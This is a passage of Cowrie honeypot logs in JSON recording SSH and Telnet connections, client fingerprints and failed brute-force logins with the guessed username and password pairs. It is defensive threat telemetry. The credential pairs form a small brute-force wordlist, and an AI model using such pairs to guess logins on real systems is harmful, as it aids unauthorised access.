a-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:12.786989Z","src_ip":"45.153.34.97","session":"0199004ea3f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pruebas","password":"pruebas","message":"login attempt [pruebas/pruebas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:13.521703Z","src_ip":"45.153.34.97","session":"0199004ea3f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56570,"dst_ip":"10.17.0.5","dst_port":22,"session":"16726bfa81b4","protocol":"ssh","message":"New connection: 103.172.78.219:56570 (10.17.0.5:22) [session: 16726bfa81b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:14.526252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:14.535437Z","src_ip":"103.172.78.219","session":"16726bfa81b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:14.611450Z","src_ip":"45.153.34.97","session":"0199004ea3f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:14.784657Z","src_ip":"103.172.78.219","session":"16726bfa81b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sirius","message":"login attempt [root/sirius] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:15.798162Z","src_ip":"103.172.78.219","session":"16726bfa81b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:17.057054Z","src_ip":"103.172.78.219","session":"16726bfa81b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19694,"dst_ip":"10.17.0.5","dst_port":22,"session":"bff2906c6a07","protocol":"ssh","message":"New connection: 45.153.34.97:19694 (10.17.0.5:22) [session: bff2906c6a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:17.197900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:17.202444Z","src_ip":"45.153.34.97","session":"bff2906c6a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:17.285989Z","src_ip":"45.153.34.97","session":"bff2906c6a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"park","password":"1qaz@WSX","message":"login attempt [park/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:17.579112Z","src_ip":"45.153.34.97","session":"bff2906c6a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:18.810111Z","src_ip":"45.153.34.97","session":"bff2906c6a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48730,"dst_ip":"10.17.0.5","dst_port":22,"session":"3efd5f592874","protocol":"ssh","message":"New connection: 45.153.34.97:48730 (10.17.0.5:22) [session: 3efd5f592874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:21.308445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:21.312470Z","src_ip":"45.153.34.97","session":"3efd5f592874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:21.397194Z","src_ip":"45.153.34.97","session":"3efd5f592874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dragons1","message":"login attempt [root/dragons1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:21.689229Z","src_ip":"45.153.34.97","session":"3efd5f592874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48554,"dst_ip":"10.17.0.5","dst_port":23,"session":"7734cad9a081","protocol":"telnet","message":"New connection: 152.42.224.71:48554 (10.17.0.5:23) [session: 7734cad9a081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:21.770495Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:22.784945Z","src_ip":"45.153.34.97","session":"3efd5f592874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08396506309509,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:25.275580Z","src_ip":"152.42.224.71","session":"a5cd73979f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48732,"dst_ip":"10.17.0.5","dst_port":22,"session":"13872802c725","protocol":"ssh","message":"New connection: 45.153.34.97:48732 (10.17.0.5:22) [session: 13872802c725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:25.708585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:25.713402Z","src_ip":"45.153.34.97","session":"13872802c725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:25.796450Z","src_ip":"45.153.34.97","session":"13872802c725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123456","message":"login attempt [botuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:26.079770Z","src_ip":"45.153.34.97","session":"13872802c725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.63610363006592,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:26.101869Z","src_ip":"152.42.224.71","session":"b831f0eed9b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:27.306345Z","src_ip":"45.153.34.97","session":"13872802c725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.04674243927002,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:27.436550Z","src_ip":"152.42.224.71","session":"e92eda996960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":57936,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ac5aaceae5","protocol":"ssh","message":"New connection: 43.153.36.83:57936 (10.17.0.5:22) [session: d4ac5aaceae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:29.353040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:29.357510Z","src_ip":"43.153.36.83","session":"d4ac5aaceae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:29.425467Z","src_ip":"43.153.36.83","session":"d4ac5aaceae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$1234QWER","message":"login attempt [root/!@#$1234QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:29.729714Z","src_ip":"43.153.36.83","session":"d4ac5aaceae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48738,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cc4aa8c418f","protocol":"ssh","message":"New connection: 45.153.34.97:48738 (10.17.0.5:22) [session: 1cc4aa8c418f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:29.883188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:29.887059Z","src_ip":"45.153.34.97","session":"1cc4aa8c418f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:29.977131Z","src_ip":"45.153.34.97","session":"1cc4aa8c418f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yayaya","message":"login attempt [root/yayaya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:30.272708Z","src_ip":"45.153.34.97","session":"1cc4aa8c418f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:30.801062Z","src_ip":"43.153.36.83","session":"d4ac5aaceae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":51606,"dst_ip":"10.17.0.5","dst_port":22,"session":"b48dcb565127","protocol":"ssh","message":"New connection: 192.169.250.238:51606 (10.17.0.5:22) [session: b48dcb565127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:31.121688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:31.126056Z","src_ip":"192.169.250.238","session":"b48dcb565127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:31.201877Z","src_ip":"192.169.250.238","session":"b48dcb565127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.36290431022644,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:31.280804Z","src_ip":"152.42.224.71","session":"ea241fc0b2e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:31.373392Z","src_ip":"45.153.34.97","session":"1cc4aa8c418f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$word1","message":"login attempt [root/P@$$word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:31.537581Z","src_ip":"192.169.250.238","session":"b48dcb565127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:32.616535Z","src_ip":"192.169.250.238","session":"b48dcb565127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":28076,"dst_ip":"10.17.0.5","dst_port":22,"session":"223f2cb4aa59","protocol":"ssh","message":"New connection: 45.153.34.97:28076 (10.17.0.5:22) [session: 223f2cb4aa59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:34.008349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:34.118625Z","src_ip":"45.153.34.97","session":"223f2cb4aa59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh